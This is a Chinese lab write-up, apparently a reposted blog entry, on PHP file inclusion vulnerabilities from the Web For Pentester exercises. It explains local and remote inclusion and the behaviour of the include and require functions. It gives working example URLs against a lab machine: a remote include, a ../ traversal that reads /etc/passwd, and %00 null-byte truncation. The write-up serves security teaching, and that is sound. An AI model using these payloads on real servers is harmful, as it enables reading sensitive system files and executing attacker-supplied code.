Web For Pentester -- File Include

本文深入解析文件包含漏洞,包括本地和远程文件包含的区别,以及PHP中include(), require(), include_once(), require_once()函数的使用与安全风险。通过实例展示如何利用URL动态包含文件,以及可能引发的任意文件读取或命令执行问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

文件包含漏洞:服务器执行PHP文件时,可以通过文件包含函数加载另一个文件的PHP代码,并且当作PHP执行。当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞(远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项)

本地文件包含漏洞:当被包含的文件在服务器本地时,就形成本地文件包含;

远程文件包含漏洞:当被包含的文件在第三方服务器时,叫做远程文件包含;

include()

当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行;

include_once()

功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次;

require()

require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行 。使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到函数时才调用 ,require()在php程序执行前执行,会先读入 require 所指定引入的文件,使它变成 PHP 程序网页的一部份;

require_once()

它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次;

 

Example 1

包含本地或远程文件http://192.168.61.166/fileincl/example1.php?page=https://assets.pentesterlab.com/test_include.txt

通过../../../../etc/paaswd 读取敏感信息   http://192.168.61.166/fileincl/example1.php?page=../../../../etc/passwd

 

Example 2

加单引号发现会在文件后加.php

%00截断  http://192.168.61.166/fileincl/example2.php?page=https://assets.pentesterlab.com/test_include.txt%00

 

转载于:https://www.cnblogs.com/wanao/p/10981650.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值